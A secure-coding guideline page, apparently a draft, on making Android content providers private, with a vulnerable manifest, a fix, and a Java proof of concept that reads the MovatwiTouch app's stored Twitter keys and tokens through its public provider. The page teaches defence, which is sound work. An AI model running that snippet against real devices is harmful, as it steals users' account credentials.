...
- Public
- Private
- Restricted access
Public
By specifying the android:exported
attribute in the AndroidManifest.xml file, a content provider is made public to other applications. For Android applications before API Level 16, a content provider is public unless explicitly specified android:exported="false"
. For example,
...
If a content provider is to be made public, the data stored in a provider may be accessed from other applications. Therefore, it should be designed to handle only nonsensitive information.
Private
You can make your provider private by specifying the android:exported
attribute in the AndroidManifest.xml file. From API Level 17 and later, a content provider is private if you do not specify the attribute explicitly. For example,
...
If you do not need to share a content provider with other applications, it should be declared android:exported="false"
in the manifest file. Note, however, in API Level 8 and earlier, even if you explicitly declare android:exported="false"
, your content provider is accessible from other apps.
Restricted Access
<<@TODO: flesh out more details, write these rules.>>
Noncompliant Code Example
MovatwiTouch, a Twitter client application, used a content provider to manage Twitter’s consumer key, consumer secret, and access token. However, the content provider was made public, which enabled applications installed on users’ devices to access this sensitive information.
The following entry in the AndroidManifest.xml does not have the android:exported
attribute, which means, before API Level 16, the content provider is made public:
AndroidManifest.xml
Code Block | ||
---|---|---|
| ||
<provider android:name=".content.AccountProvider" android:authorities="jp.co.vulnerable.accountprovider" /> |
Proof of Concept
The following code shows how this could be exploited:
Code Block |
---|
// check whether movatwi is installed. try { ApplicationInfo info = getPackageManager().getApplicationInfo("jp.co.vulnerable", 0);[cjl5] } catch (NameNotFoundException e) { Log.w(TAG, "the app is not installed."); return; } // extract account data through content provider Uri uri = Uri.parse("content://jp.co.vulnerable.accountprovider"); Cursor cur = getContentResolver().query(uri, null, null, null, null);[cjl6] StringBuilder sb = new StringBuilder(); if (cur != null) { int ri = 0; while (cur.moveToNext()) { ++ri; Log.i(TAG, String.format("row[%d]:", ri)); sb.setLength(0); for (int i = 0; i < cur.getColumnCount(); ++i) { String column = cur.getColumnName(i); String value = cur.getString(i); if (value != null) { value = value.replaceAll("[\r\n]", ""); } Log.i(TAG, String.format("\t%s:\t%s", column, value)); } } } else { Log.i(TAG, "Can't get the app information."); } |
Compliant Solution
The following entry in the AndroidManifest.xml file makes the content provider private so that other apps cannot access the data:
Code Block | ||
---|---|---|
| ||
<provider android:name=".content.AccountProvider" android:exported="false" android:authorities="jp.co.vulnerable.accountprovider" /> |
Risk Assessment
Declaring a public content provider can leak sensitive information to malicious apps.
Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
---|---|---|---|---|---|
DRD01-J | highmedium | probable | low | P18 | L1 |
Automated Detection
It is trivial to automatically detect when a content provider is declared public.
Related Vulnerabilities
- JVN#90289505 Content provider in MovatwiTouch fails to restrict access permissions
Related Guidelines
Android Application Secure Design / Secure Coding Guidebook by JSSEC[cjl3] | 4.3. Creating/Using a Content Provider (2013/4/1 edition)using content providers |
Bibliography
Android Secure Coding Guidebook by JSSEC[JSSEC 2014] | 4.3. Creating/Using a Content Provider (2013/4/1 edition) |
[cjl3]I cannot find Android Secure Coding Guidebook, but it needs to be added to the references and a citation used here ([JSSEC year])